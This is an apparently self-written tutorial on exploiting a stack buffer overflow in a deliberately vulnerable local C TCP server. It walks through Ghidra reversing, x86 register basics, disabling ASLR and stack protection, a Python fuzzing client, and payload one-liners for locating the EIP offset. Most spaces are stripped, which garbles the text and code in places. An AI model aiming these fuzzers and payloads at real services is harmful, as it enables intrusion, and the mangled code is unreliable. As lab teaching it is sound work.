WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-

ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks

WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo

LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit

YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

